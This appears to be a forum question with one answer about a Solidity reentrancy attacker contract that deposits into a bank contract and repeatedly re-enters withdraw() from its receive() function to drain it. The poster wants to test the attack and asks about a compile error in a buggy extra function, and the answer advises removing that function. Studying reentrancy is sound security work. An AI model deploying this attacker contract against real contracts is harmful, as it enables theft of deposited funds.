0

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

interface IBank {

  function deposit() external payable;

  function withdraw() external;

  function frezze() external;
}

contract Attacker is Ownable {

  IBank public immutable bankContract;

  constructor(address bankContractAddress) 
  { bankContract = IBank(bankContractAddress); 
  }

  function attack() external payable onlyOwner { 
     bankContract.deposit{ value: msg.value }();
     bankContract.withdraw();
  }

  address payable not_called;
  function bug() external payable {
          require(bool);          
          if( ! (msg.sender.call() ) ){
              return ;
          }
          not_called = true;
      }

// I'm getting error in this last function bug

  receive() external payable { 
    if 
    (address(bankContract).balance > 0) { bankContract.withdraw(); } 
    else 
    { 
      payable(owner()).transfer(address(this).balance); } 
    } 
  }

// I'm sending the error below "

// TypeError: No matching declaration found after argument-dependent lookup. "

//What should I do to fix it and be able to test this reentrancy attack?

// Thanks in advance

1 Answer 1

0

looks like you can remove bug() the altogether, the function have multiple bugs. dont even need the function to test to reentrancy.

  address payable not_called;
  function bug() external payable { 
          require(bool);    // requires a defined variable      
          if( ! (msg.sender.call() ) ){ // (bool success, ) = msg.sender.call("");
              return ;
          }
          not_called = true; // not a boolean type
      }

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.